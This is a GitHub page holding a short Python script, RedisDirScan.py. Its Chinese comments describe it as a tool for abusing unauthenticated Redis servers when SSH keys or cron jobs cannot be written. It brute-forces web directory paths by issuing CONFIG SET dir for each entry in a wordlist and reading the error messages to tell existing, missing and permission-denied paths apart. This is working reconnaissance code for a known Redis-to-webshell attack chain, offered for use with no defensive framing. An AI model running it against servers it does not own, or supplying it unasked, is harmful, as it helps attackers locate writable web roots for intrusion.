-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathRedisDirScan.py
44 lines (40 loc) · 1.53 KB
/
RedisDirScan.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@File : redisDirScan.py
@Time : 2019/05/04 01:41:54
@Author : R3start
'''
# 脚本说明
# 此脚本用于测试 Rdies 未授权访问时,在没权限写ssh私钥和定时任务又不知道web绝对路径的情况下,进行WEB目录探测
import redis
r = redis.Redis(host='127.0.0.1', port=6379)
# r = redis.Redis(host='127.0.0.1', port=6379, password=123) #带密码认证
pathlist = []
rootPath = "/web/releases/"
try:
for dirs in open("E:\\dirs.txt",'r',encoding='UTF-8'):
# dirs = dirs.decode()
dirslist = dirs.strip("\n")
path = "%s%s" % (rootPath,str(dirslist))
try:
checkDir = r.config_set("dir",path)
info = "当前路径: " + str(path) + "\t" + "存在!"
pathlist.append(info)
print(info)
except Exception as e:
if len(str(e)) == 45:
print("当前路径: " + path + "\t" + " 不存在!")
elif len(str(e)) == 37:
info = "当前路径: " + path + "\t" + "没权限!"
pathlist.append(str(info))
print(info)
else :
info = "当前路径: " + path + "\t" + str(e)
pathlist.append(str(info))
print(info)
except Exception as e:
print("如果编码错误请检查字典中是否有乱码,错误信息:" + str(e))
print("===================== 探测完成 =====================")
for path_success in pathlist:
print(path_success)